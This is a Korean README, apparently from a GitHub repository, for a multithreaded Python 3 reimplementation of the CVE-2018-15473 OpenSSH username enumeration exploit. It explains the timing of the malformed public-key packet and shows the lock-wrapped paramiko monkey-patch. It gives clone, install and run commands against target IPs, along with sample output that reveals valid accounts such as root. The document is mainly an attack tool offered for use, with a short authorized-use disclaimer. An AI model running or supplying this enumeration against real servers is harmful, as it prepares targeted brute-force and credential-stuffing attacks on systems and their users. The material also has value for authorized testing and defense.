
고전적인 CVE-2018-15473 OpenSSH 사용자 열거 익스플로잇의 Python 3 재구현으로, 멀티스레딩, 단어 목록 지원, 자동 취약점 탐지, 스레드 안전 익스플로잇 패칭 기능이 확장되었습니다.
고전적인 CVE-2018-15473 OpenSSH 사용자 열거 익스플로잇을 Python 3로 재구현하고, 멀티스레딩, 워드리스트 지원, 자동 취약점 탐지 및 스레드 안전 익스플로잇 패치를 추가로 확장했습니다.
CVE-2018-15473은 OpenSSH 버전 2.3부터 7.7까지 영향을 미치는 사용자 열거 취약점입니다.
이 취약점은 유효한 사용자 이름과 유효하지 않은 사용자 이름에 대한 인증 시도에 OpenSSH 서버가 응답하는 방식의 미묘한 차이에서 비롯됩니다. 공격자는 변조된 공개 키 인증 패킷을 구성하여 서버의 동작을 관찰하고, 사용자의 비밀번호를 알 필요 없이 주어진 사용자 이름이 시스템에 존재하는지 여부를 확인할 수 있습니다.
이 정보는 표적 무차별 대입 공격 또는 자격 증명 스터핑 공격의 중요한 첫 단계가 될 수 있습니다.
| 세부정보 | 값 |
|---|---|
| CVE ID | CVE-2018-15473 |
| 영향을 받는 버전 | OpenSSH 2.3 – 7.7 |
| CVSS 점수 | 5.3 (중간) |
| 유형 | 정보 노출 / 사용자 열거 |
| 인증 필요 | 아니요 |
OpenSSH의 인증 흐름은 일반적으로 다음과 같이 작동합니다.
클라이언트 → MSG_SERVICE_REQUEST → 서버
클라이언트 ← MSG_SERVICE_ACCEPT ← 서버
클라이언트 → MSG_USERAUTH_REQUEST → 서버
클라이언트 ← MSG_USERAUTH_FAILURE 또는 MSG_USERAUTH_SUCCESS ← 서버
익스플로잇은 MSG_SERVICE_ACCEPT 단계를 악용합니다. 서버가 MSG_SERVICE_ACCEPT를 다시 보낼 때, 클라이언트는 이후의 MSG_USERAUTH_REQUEST 패킷에 부울 필드를 추가해야 합니다. paramiko의 Message.add_boolean 메서드를 아무 작업도 하지 않도록 패치하여, 도구는 변조된/잘린 인증 패킷을 전송합니다.
그러면 OpenSSH 서버는 사용자 이름이 존재하는지 여부에 따라 다르게 동작합니다.
MSG_USERAUTH_FAILURE로 거부합니다 (사용자 이름이 존재하지 않으므로 키를 확인할 필요가 없음)AuthenticationException을 발생시킵니다 (키를 확인하려고 시도하여 사용자가 존재함을 확인함)이 도구는 패치된 paramiko 핸들러(_parse_userauth_failure 및 _parse_service_accept)를 통해 이 두 응답을 가로채서 각 사용자 이름을 적절히 분류합니다.
원본 PoC는 add_boolean을 영구적으로 패치하여 여러 스레드가 동시에 실행될 때 경쟁 조건이 발생합니다. 스레드가 서로의 핸드셰이크를 방해하여 SSH negotiation failed 오류가 잘못 발생합니다. 이 재구현은 패치를 threading.Lock()으로 감싸서 교체를 원자적으로 만듭니다.
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap을 사용하여 대상이 취약한 OpenSSH 버전을 실행 중인지 확인paramikopython-nmapnmap (시스템 바이너리, 설치 필요)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
시스템에 nmap이 설치되어 있는지 확인하세요:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
단일 사용자 이름 확인:
python main.py 192.168.1.10 -u root
기본 스레드로 워드리스트 열거:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
사용자 정의 스레드 수와 포트로 열거:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
샘플 출력:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
이 도구는 원본 개념 증명 익스플로잇의 Python 3 재구현 및 확장입니다. 이 취약점을 발견하고 문서화한 공로는 전적으로 원본 연구자들에게 있습니다.
| 역할 | 이름 / 핸들 |
|---|
원본 익스플로잇: https://leapsecurity.io
이 재구현은 다음을 추가합니다:
이 도구는 교육 목적 및 승인된 침투 테스트 전용으로 제작되었습니다.
소유하지 않거나 명시적인 서면 허가 없이 시스템에 대해 이 도구를 사용하는 것은 불법이며 비윤리적입니다.
작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.
항상 책임 있는 공개를 실천하십시오.
| 원본 PoC 작성자 | Leap Security (@LeapSecurity) |
| 취약점 연구 | Matthew Daley |
| 취약점 연구 | Justin Gardner |
| 취약점 연구 | Lee David Painter |